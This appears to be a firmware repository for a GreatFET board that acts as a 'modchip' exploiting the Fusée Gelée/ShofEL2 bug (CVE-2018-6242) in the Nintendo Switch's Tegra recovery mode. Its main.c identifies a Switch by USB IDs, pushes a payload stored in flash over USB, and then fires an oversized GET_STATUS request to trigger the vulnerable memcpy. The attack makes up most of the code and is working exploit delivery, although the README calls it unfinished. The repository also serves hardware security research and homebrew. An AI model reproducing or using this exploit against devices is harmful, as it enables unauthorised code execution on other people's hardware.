├── .gitignore ├── greatfet-modchip ├── .gitignore ├── common.cmake ├── CMakeLists.txt ├── usb_host_stack.h ├── usb_host_stack.c └── main.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | tags 2 | -------------------------------------------------------------------------------- /greatfet-modchip/.gitignore: -------------------------------------------------------------------------------- 1 | *.bin 2 | *.d 3 | *.elf 4 | *.hex 5 | *.list 6 | *.map 7 | *.o 8 | *.srec 9 | *.dfu 10 | build 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RCM Bug "Modchip" Archive 2 | 3 | This work-in-progress repository collects a variety of sample embedded devices which trigger the "Fusée Gelée"/"ShofEL2" vulnerability (CVE-2018-6242). Nothing in this respository is ready for public use. 4 | -------------------------------------------------------------------------------- /greatfet-modchip/common.cmake: -------------------------------------------------------------------------------- 1 | # 2 | # Excercise common code. 3 | # 4 | 5 | 6 | if(NOT DEFINED ENV{GREATFET_PATH}) 7 | message(FATAL_ERROR "GREATFET_PATH must be defined to point to your GreatFET tree.") 8 | endif() 9 | 10 | 11 | set(PATH_GREATFET_FIRMWARE $ENV{GREATFET_PATH}/firmware/) 12 | set(CMAKE_TOOLCHAIN_FILE ${PATH_GREATFET_FIRMWARE}/cmake/toolchain-arm-cortex-m.cmake) 13 | 14 | 15 | -------------------------------------------------------------------------------- /greatfet-modchip/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # This file is part of GreatFET 3 | # 4 | 5 | cmake_minimum_required(VERSION 2.8.9) 6 | 7 | if(NOT DEFINED ENV{GREATFET_PATH}) 8 | message(FATAL_ERROR "GREATFET_PATH must be defined to point to your GreatFET tree.") 9 | endif() 10 | 11 | set(PATH_GREATFET_FIRMWARE $ENV{GREATFET_PATH}/firmware/) 12 | set(CMAKE_TOOLCHAIN_FILE ${PATH_GREATFET_FIRMWARE}/cmake/toolchain-arm-cortex-m.cmake) 13 | project(greatfet-rcm-modchip) 14 | 15 | include(${PATH_GREATFET_FIRMWARE}/cmake/greatfet-common.cmake) 16 | set(SRC_M4 17 | main.c 18 | usb_host_stack.c 19 | "${PATH_GREATFET_FIRMWARE}/common/usb.c" 20 | "${PATH_GREATFET_FIRMWARE}/common/usb_request.c" 21 | "${PATH_GREATFET_FIRMWARE}/common/usb_standard_request.c" 22 | "${PATH_GREATFET_FIRMWARE}/common/gpdma.c" 23 | "${PATH_GREATFET_FIRMWARE}/common/gpio_dma.c" 24 | "${PATH_GREATFET_FIRMWARE}/common/gpio_scu.c" 25 | "${PATH_GREATFET_FIRMWARE}/common/usb_host.c" 26 | "${PATH_GREATFET_FIRMWARE}/common/usb_queue_host.c" 27 | "${PATH_GREATFET_FIRMWARE}/common/glitchkit.c" 28 | "${PATH_GREATFET_FIRMWARE}/common/usb_queue.c" 29 | "${PATH_GREATFET_FIRMWARE}/common/fault_handler.c" 30 | "${PATH_GREATFET_FIRMWARE}/common/spiflash.c" 31 | "${PATH_GREATFET_FIRMWARE}/common/spi_bus.c" 32 | "${PATH_GREATFET_FIRMWARE}/common/debug.c" 33 | "${PATH_GREATFET_FIRMWARE}/common/spiflash.c" 34 | ) 35 | 36 | DeclareTargets() 37 | -------------------------------------------------------------------------------- /greatfet-modchip/usb_host_stack.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of GreatFET 3 | * High-level APIs for accessing USB devices via the USB host driver. 4 | */ 5 | 6 | #ifndef __USB_HOST_STACK_H__ 7 | #define __USB_HOST_STACK_H__ 8 | 9 | #include 10 | 11 | /** 12 | * Issues a control request to the device. 13 | * 14 | * @param host The USB host to use for transfers. 15 | * @param qh The endpoint object for the control endpoint. 16 | * @param request_type The Request Type object, composed of the request_type 17 | * flags from usb_type.h. 18 | * @param request The control request number. 19 | * @param value, index Argumenst to the control request. 20 | * @param length The length transmitted (for an HOST_TO_DEVICE request) 21 | * or maximum data we're willing to recieve (for a DEVICE_TO_HOST). 22 | * @param buffer The data to be transmitted (HOST_TO_DEVICE) or buffer to 23 | * recieve response (DEVICE_TO_HOST). 24 | * 25 | * @return length transferred on success, or a negative error code on failure 26 | * -EIO indicate a I/O error; -EPIPE indicates a stall 27 | */ 28 | int usb_host_control_request(usb_peripheral_t *host, 29 | ehci_queue_head_t *qh, usb_setup_request_type_t request_type, uint8_t request, 30 | uint16_t value, uint16_t index, uint16_t length, void *buffer); 31 | 32 | 33 | /** 34 | * Convenience function that sends data on a given endpoint. 35 | * 36 | * @param host The USB host to use for transmission. 37 | * @param endpoint The endpoint to send on. 38 | * @param data The data to be sent. 39 | * @param length The length of the data to send. 40 | * 41 | * @return length transferred on success, or a negative error code on failure 42 | * -EIO indicate a I/O error; -EPIPE indicates a stall 43 | */ 44 | int usb_host_send_on_endpoint(usb_peripheral_t *host, ehci_queue_head_t *endpoint, 45 | void *data, size_t length); 46 | 47 | 48 | /** 49 | * Convenience function that sends data on a given endpoint. 50 | * 51 | * @param host The USB host to use for transmission. 52 | * @param endpoint The endpoint to send on. 53 | * @param data Buffer to recieve data. 54 | * @param length The maximum length we're willing to recieve. 55 | * 56 | * @return length transferred on success, or a negative error code on failure 57 | * -EIO indicate a I/O error; -EPIPE indicates a stall 58 | */ 59 | int usb_host_read_from_endpoint(usb_peripheral_t *host, ehci_queue_head_t *endpoint, 60 | void *data, size_t length); 61 | 62 | 63 | /** 64 | * Read the target device's device descriptor. 65 | * 66 | * @param host The USB peripheral to work with. 67 | * @param qh The endpoint object for the device's control endpoint. 68 | * @param descriptor_out Buffer to recieve the device descriptor. 69 | */ 70 | int usb_host_get_descriptor(usb_peripheral_t *host, 71 | ehci_queue_head_t *qh, uint8_t descriptor_type, uint8_t descriptor_index, 72 | uint16_t language_id, uint16_t max_length, void *descriptor_out); 73 | 74 | /** 75 | * Read the target device's device descriptor. 76 | * 77 | * @param host The USB peripheral to work with. 78 | * @param qh The endpoint object for the device's control endpoint. 79 | * @param descriptor_out Buffer to recieve the device descriptor. 80 | */ 81 | int usb_host_read_device_descriptor(usb_peripheral_t *host, 82 | ehci_queue_head_t *qh, usb_descriptor_device_t *descriptor_out); 83 | 84 | 85 | /** 86 | * Read the target device's device descriptor. 87 | * 88 | * @param host The USB peripheral to work with. 89 | * @param qh The endpoint object for the device's control endpoint. 90 | * @param descriptor_out Buffer to recieve the device descriptor. 91 | */ 92 | int usb_host_switch_configuration(usb_peripheral_t *host, 93 | ehci_queue_head_t *qh, uint8_t configuration_number); 94 | 95 | 96 | int usb_host_set_address(usb_peripheral_t *host, 97 | ehci_queue_head_t *qh, uint16_t address); 98 | 99 | #endif 100 | -------------------------------------------------------------------------------- /greatfet-modchip/usb_host_stack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of GreatFET 3 | */ 4 | 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "usb_host_stack.h" 16 | 17 | 18 | /** 19 | * Issues a control request to the device. 20 | * 21 | * @param host The USB host to use for transfers. 22 | * @param qh The endpoint object for the control endpoint. 23 | * @param request_type The Request Type object, composed of the request_type 24 | * flags from usb_type.h. 25 | * @param request The control request number. 26 | * @param value, index Argumenst to the control request. 27 | * @param length The length transmitted (for an HOST_TO_DEVICE request) 28 | * or maximum data we're willing to recieve (for a DEVICE_TO_HOST). 29 | * @param buffer The data to be transmitted (HOST_TO_DEVICE) or buffer to 30 | * recieve response (DEVICE_TO_HOST). 31 | * 32 | * @return length transferred on success, or a negative error code on failure 33 | * -EIO indicate a I/O error; -EPIPE indicates a stall 34 | */ 35 | int usb_host_control_request(usb_peripheral_t *host, 36 | ehci_queue_head_t *qh, usb_setup_request_type_t request_type, uint8_t request, 37 | uint16_t value, uint16_t index, uint16_t length, void *buffer) 38 | { 39 | int rc, read_length = 0; 40 | 41 | // By default, if we don't have a data stage, use an IN token for the ack. 42 | usb_token_t ack_token; 43 | usb_token_t data_token; 44 | 45 | // Compose the setup packet to the transmitted. 46 | usb_setup_t setup_packet = { 47 | .request_type = request_type, 48 | .request = request, 49 | .value = value, 50 | .index = index, 51 | .length = length 52 | }; 53 | 54 | // If this is a DEVICE_TO_HOST, our data stage should be an IN. 55 | if (request_type & USB_SETUP_REQUEST_TYPE_DATA_TRANSFER_DIRECTION_DEVICE_TO_HOST) { 56 | data_token = USB_PID_TOKEN_IN; 57 | ack_token = USB_PID_TOKEN_OUT; 58 | } else { 59 | data_token = USB_PID_TOKEN_OUT; 60 | ack_token = USB_PID_TOKEN_IN; 61 | } 62 | 63 | // Send the setup packet... 64 | rc = usb_host_transfer( 65 | host, 66 | qh, 67 | USB_PID_TOKEN_SETUP, 68 | 0, 69 | &setup_packet, 70 | sizeof(setup_packet) 71 | ); 72 | if (rc < 0) 73 | return rc; 74 | 75 | // If this packet includes a request for data, 76 | // ask the device for the relevant data. 77 | if (length) { 78 | 79 | rc = usb_host_transfer( 80 | host, 81 | qh, 82 | data_token, 83 | 1, 84 | buffer, 85 | length 86 | ); 87 | if (rc < 0) 88 | return rc; 89 | 90 | // Store the length actually read. 91 | read_length = rc; 92 | } 93 | // If we had no data stage, the ACK is always following an OUT-like 94 | // SETUP request, and thus should be an IN request. 95 | else { 96 | ack_token = USB_PID_TOKEN_IN; 97 | } 98 | 99 | // Perform the acknowledgement stage 100 | rc = usb_host_transfer( 101 | host, 102 | qh, 103 | ack_token, 104 | 1, 105 | NULL, 106 | 0 107 | ); 108 | if (rc < 0) 109 | return rc; 110 | 111 | return read_length; 112 | } 113 | 114 | 115 | /** 116 | * Convenience function that sends data on a given endpoint. 117 | * 118 | * @param host The USB host to use for transmission. 119 | * @param endpoint The endpoint to send on. 120 | * @param data The data to be sent. 121 | * @param length The length of the data to send. 122 | * 123 | * @return length transferred on success, or a negative error code on failure 124 | * -EIO indicate a I/O error; -EPIPE indicates a stall 125 | */ 126 | int usb_host_send_on_endpoint(usb_peripheral_t *host, ehci_queue_head_t *endpoint, 127 | void *data, size_t length) 128 | { 129 | return usb_host_transfer( 130 | host, 131 | endpoint, 132 | USB_PID_TOKEN_OUT, 133 | 0, 134 | data, 135 | length 136 | ); 137 | } 138 | 139 | 140 | /** 141 | * Convenience function that sends data on a given endpoint. 142 | * 143 | * @param host The USB host to use for transmission. 144 | * @param endpoint The endpoint to send on. 145 | * @param data Buffer to recieve data. 146 | * @param length The maximum length we're willing to recieve. 147 | * 148 | * @return length transferred on success, or a negative error code on failure 149 | * -EIO indicate a I/O error; -EPIPE indicates a stall 150 | */ 151 | int usb_host_read_from_endpoint(usb_peripheral_t *host, ehci_queue_head_t *endpoint, 152 | void *data, size_t length) 153 | { 154 | return usb_host_transfer( 155 | host, 156 | endpoint, 157 | USB_PID_TOKEN_IN, 158 | 0, 159 | data, 160 | length 161 | ); 162 | } 163 | 164 | 165 | /** 166 | * Read the target device's device descriptor. 167 | * 168 | * @param host The USB peripheral to work with. 169 | * @param qh The endpoint object for the device's control endpoint. 170 | * @param descriptor_out Buffer to recieve the device descriptor. 171 | */ 172 | int usb_host_get_descriptor(usb_peripheral_t *host, 173 | ehci_queue_head_t *qh, uint8_t descriptor_type, uint8_t descriptor_index, 174 | uint16_t language_id, uint16_t max_length, void *descriptor_out) 175 | { 176 | return usb_host_control_request(host, qh, 177 | USB_SETUP_REQUEST_TYPE_DATA_TRANSFER_DIRECTION_DEVICE_TO_HOST | 178 | USB_SETUP_REQUEST_TYPE_STANDARD | 179 | USB_SETUP_REQUEST_TYPE_RECIPIENT_DEVICE, 180 | USB_STANDARD_REQUEST_GET_DESCRIPTOR, 181 | descriptor_type << 8 | descriptor_index, 182 | language_id, 183 | max_length, 184 | descriptor_out 185 | ); 186 | } 187 | 188 | 189 | /** 190 | * Read the target device's device descriptor. 191 | * 192 | * @param host The USB peripheral to work with. 193 | * @param qh The endpoint object for the device's control endpoint. 194 | * @param descriptor_out Buffer to recieve the device descriptor. 195 | */ 196 | int usb_host_read_device_descriptor(usb_peripheral_t *host, 197 | ehci_queue_head_t *qh, usb_descriptor_device_t *descriptor_out) 198 | { 199 | return usb_host_get_descriptor(host, qh, 200 | USB_DESCRIPTOR_TYPE_DEVICE, 0, 0, sizeof(*descriptor_out), descriptor_out); 201 | } 202 | 203 | 204 | /** 205 | * Read the target device's device descriptor. 206 | * 207 | * @param host The USB peripheral to work with. 208 | * @param qh The endpoint object for the device's control endpoint. 209 | * @param descriptor_out Buffer to recieve the device descriptor. 210 | */ 211 | int usb_host_switch_configuration(usb_peripheral_t *host, 212 | ehci_queue_head_t *qh, uint8_t configuration_number) 213 | { 214 | return usb_host_control_request(host, qh, 215 | USB_SETUP_REQUEST_TYPE_DATA_TRANSFER_DIRECTION_HOST_TO_DEVICE | 216 | USB_SETUP_REQUEST_TYPE_STANDARD | 217 | USB_SETUP_REQUEST_TYPE_RECIPIENT_DEVICE, 218 | USB_STANDARD_REQUEST_SET_CONFIGURATION, 219 | configuration_number, 220 | 0, 221 | 0, 222 | NULL 223 | ); 224 | } 225 | 226 | 227 | /** 228 | * Set the device's working address. 229 | * 230 | * @param host The USB peripheral to work with. 231 | * @param qh The endpoint object for the device's control endpoint. 232 | * @param descriptor_out Buffer to recieve the device descriptor. 233 | */ 234 | int usb_host_set_address(usb_peripheral_t *host, 235 | ehci_queue_head_t *qh, uint16_t address) 236 | { 237 | return usb_host_control_request(host, qh, 238 | USB_SETUP_REQUEST_TYPE_DATA_TRANSFER_DIRECTION_HOST_TO_DEVICE | 239 | USB_SETUP_REQUEST_TYPE_STANDARD | 240 | USB_SETUP_REQUEST_TYPE_RECIPIENT_DEVICE, 241 | USB_STANDARD_REQUEST_SET_ADDRESS, 242 | address, 243 | 0, 244 | 0, 245 | NULL 246 | ); 247 | } 248 | -------------------------------------------------------------------------------- /greatfet-modchip/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of GreatFET 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | 23 | #include "usb_host_stack.h" 24 | 25 | // Magic numbers for the RCM communications. 26 | enum { 27 | USB_ADDRESS_DEFAULT = 0, 28 | USB_ENDPOINT_NUMBER_CONTROL = 0, 29 | USB_ENDPOINT_NUMBER_RCM = 1, 30 | 31 | RCM_ACTIVE_ADDRESS = 1, 32 | RCM_ACTIVE_CONFIGURATION = 1, 33 | RCM_MAX_PACKET_SIZE_EP0 = 64, 34 | RCM_MAX_PACKET_SIZE_RCM_EP_HIGH = 512, 35 | RCM_MAX_PACKET_SIZE_RCM_EP_FULL = 64, 36 | 37 | SWITCH_RCM_VID = 0x0955, 38 | SWITCH_RCM_PID = 0x7321, 39 | 40 | RCM_DEVICE_INFO_SIZE = 16, 41 | 42 | VULNERABLE_REQUEST_TYPE = 0x82, 43 | VULNERABLE_REQUEST = 0, 44 | VULNERABLE_REQUEST_LENGTH = 0x7000, 45 | 46 | USB_TRANSMISSION_ATOM = 0x1000, 47 | 48 | /* XXX get rid of this and figure this out or hardcode a large value */ 49 | PAYLOAD_ADDRESS = 0x80000, 50 | XXX_PAYLOAD_SIZE_XXX = 0xd000, 51 | }; 52 | 53 | // Buffer used to store USB chunks as we read them. 54 | uint8_t usb_buffer[USB_TRANSMISSION_ATOM]; 55 | 56 | // Endpoint objects -- represent our USB data channels. 57 | ehci_queue_head_t *control_endpoint = NULL; 58 | ehci_queue_head_t *rcm_endpoint = NULL; 59 | 60 | usb_peripheral_t usb_peripherals[] = { 61 | { .controller = 0, }, 62 | { .controller = 1, } 63 | }; 64 | 65 | 66 | void set_up_host_controller(void) 67 | { 68 | // Initialize the USB host controller. 69 | usb_host_initialize_storage_pools(); 70 | 71 | // Set up the device in host mode... 72 | usb_controller_reset(&usb_peripherals[1]); 73 | usb_host_init(&usb_peripherals[1]); 74 | 75 | // Provide VBUS to the target, if possible. 76 | // TODO: disable this when we're not host powered 77 | usb_provide_vbus(&usb_peripherals[1]); 78 | 79 | // Enable the USB controller-- this will allow start the point 80 | // where interrupts can be issued. 81 | usb_run(&usb_peripherals[1]); 82 | } 83 | 84 | 85 | void wait_for_device(void) 86 | { 87 | // Reset the device... 88 | delay(100 * 1000); 89 | usb_host_reset_device(&usb_peripherals[1]); 90 | delay(100 * 1000); 91 | 92 | // Repeatedly reset the device until it shows up. 93 | // TODO: Do we need to do this? Are our delays just off? 94 | while (!(USB_REG(1)->PORTSC1 & USB0_PORTSC1_H_CCS)) { 95 | // Reset the device... 96 | delay(100 * 1000); 97 | usb_host_reset_device(&usb_peripherals[1]); 98 | delay(100 * 1000); 99 | } 100 | } 101 | 102 | 103 | void initialize_endpoints(uint16_t address) 104 | { 105 | // Set up the standard control endpoint. 106 | control_endpoint = usb_host_set_up_asynchronous_endpoint_queue( 107 | &usb_peripherals[1], 108 | control_endpoint, 109 | address, 110 | USB_ENDPOINT_NUMBER_CONTROL, 111 | USB_SPEED_FULL, // TODO: switch this to the other controller, and High speed 112 | true, // This is a control endpoint. 113 | false, // We'll manually specify the data toggle. 114 | RCM_MAX_PACKET_SIZE_EP0); 115 | 116 | // Set up the RCM endpoint; used for the actual recovery mode data. 117 | rcm_endpoint = usb_host_set_up_asynchronous_endpoint_queue( 118 | &usb_peripherals[1], 119 | rcm_endpoint,// Allocate a new endpoint. 120 | address, 121 | USB_ENDPOINT_NUMBER_RCM, 122 | USB_SPEED_FULL, // TODO: switch this to the other controller, and High speed 123 | false, // This is NOT a control endpoint. 124 | true, // We'll let the controller handle DATA toggling for us. 125 | RCM_MAX_PACKET_SIZE_RCM_EP_FULL); 126 | } 127 | 128 | 129 | /** 130 | * Validates that the connected device is a Nintendo Switch. 131 | * 132 | * @return 0 on success, or an error code on failure 133 | */ 134 | int validate_connected_device(void) 135 | { 136 | // Read the device descriptor, which contains our VID and PID. 137 | usb_descriptor_device_t device_descriptor; 138 | usb_host_read_device_descriptor(&usb_peripherals[1], control_endpoint, &device_descriptor); 139 | 140 | // If our VID or PID don't match, fail out. 141 | if (device_descriptor.idVendor != SWITCH_RCM_VID) 142 | return EINVAL; 143 | if (device_descriptor.idProduct != SWITCH_RCM_PID) 144 | return EINVAL; 145 | 146 | return 0; 147 | } 148 | 149 | 150 | /** 151 | * Read the Device's Info structure via RCM. 152 | * 153 | * @param device_info Out argument that recieves the device information. 154 | * Should point to a 16-byte buffer. 155 | * @return 0 on success, or an error code on failure 156 | */ 157 | int rcm_read_device_info(void *device_info) 158 | { 159 | int length_read = 160 | usb_host_read_from_endpoint(&usb_peripherals[1], rcm_endpoint, 161 | device_info, RCM_DEVICE_INFO_SIZE); 162 | 163 | if (length_read == 16) 164 | return 0; 165 | else 166 | return -length_read; 167 | } 168 | 169 | /** 170 | * Main transmit loop. Reads the f-g payload from flash memory and transmits it 171 | * to the target device over USB. 172 | */ 173 | int transmit_payload(void) 174 | { 175 | int rc; 176 | 177 | // XXX: FIXME; don't hardcode 178 | int data_remaining = XXX_PAYLOAD_SIZE_XXX; 179 | uintptr_t data_address = PAYLOAD_ADDRESS; 180 | 181 | // Transmit all of the payload data we have. 182 | while (data_remaining > 0) { 183 | 184 | // Read one buffer size of payload into memory... 185 | spiflash_read(&spi_flash_drv, data_address, 186 | sizeof(usb_buffer), usb_buffer); 187 | 188 | // ... transmit to the RCM device ... 189 | rc = usb_host_send_on_endpoint(&usb_peripherals[1], rcm_endpoint, 190 | usb_buffer, sizeof(usb_buffer)); 191 | if (rc) 192 | return rc; 193 | 194 | // Advance in our transmission. 195 | data_remaining -= sizeof(usb_buffer); 196 | data_address += sizeof(usb_buffer); 197 | } 198 | } 199 | 200 | 201 | /** 202 | * Trigger the vulnerability itself by sending a long-length GET_STATUS 203 | * request to the endpoint. See the f-g report for more info. :) 204 | */ 205 | int trigger_memcpy(void) 206 | { 207 | // Send a GET_STATUS request to the endpoint. 208 | return usb_host_control_request(&usb_peripherals[1], control_endpoint, 209 | VULNERABLE_REQUEST_TYPE, VULNERABLE_REQUEST, 0, 0, 210 | VULNERABLE_REQUEST_LENGTH, NULL); 211 | } 212 | 213 | 214 | int main(void) 215 | { 216 | int rc; 217 | uint8_t device_info[RCM_DEVICE_INFO_SIZE]; 218 | 219 | // Perform the core GreatFET setup. 220 | cpu_clock_init(); 221 | cpu_clock_pll1_max_speed(); 222 | pin_setup(); 223 | rtc_init(); 224 | 225 | // Set up the SPI flash we'll read the payload from. 226 | spi_bus_start(spi_flash_drv.target, &ssp_config_spi); 227 | spiflash_setup(&spi_flash_drv); 228 | 229 | // Start communications and wait for a device to connect. 230 | set_up_host_controller(); 231 | wait_for_device(); 232 | 233 | // Ensure we talk only to Nintendo Switch. 234 | initialize_endpoints(USB_ADDRESS_DEFAULT); 235 | rc = validate_connected_device(); 236 | if (rc) { 237 | led_on(LED4); 238 | return rc; 239 | } 240 | 241 | // Set the device's address to something other than the default. 242 | rc = usb_host_set_address(&usb_peripherals[1], control_endpoint, RCM_ACTIVE_ADDRESS); 243 | if (rc) { 244 | led_on(LED4); 245 | return rc; 246 | } 247 | initialize_endpoints(RCM_ACTIVE_ADDRESS); 248 | 249 | // Apply this device's configuration, so it can talk RCM. 250 | rc = usb_host_switch_configuration(&usb_peripherals[1], 251 | control_endpoint, RCM_ACTIVE_CONFIGURATION); 252 | if (rc) { 253 | led_on(LED4); 254 | return rc; 255 | } 256 | 257 | // Read the attached Tegra's Device Hardware Info, including the Device ID. 258 | rc = rcm_read_device_info(device_info); 259 | if (rc) { 260 | led_on(LED4); 261 | return rc; 262 | } 263 | led_on(LED1); 264 | 265 | // Read and send the payload. 266 | rc = transmit_payload(); 267 | if (rc) { 268 | led_on(LED4); 269 | return rc; 270 | } 271 | 272 | led_on(LED2); 273 | 274 | // Trigger the RCM vulnerability. 275 | rc = trigger_memcpy(); 276 | if (rc) { 277 | led_on(LED4); 278 | return rc; 279 | } 280 | 281 | led_on(LED3); 282 | while(true); 283 | return 0; 284 | } 285 | --------------------------------------------------------------------------------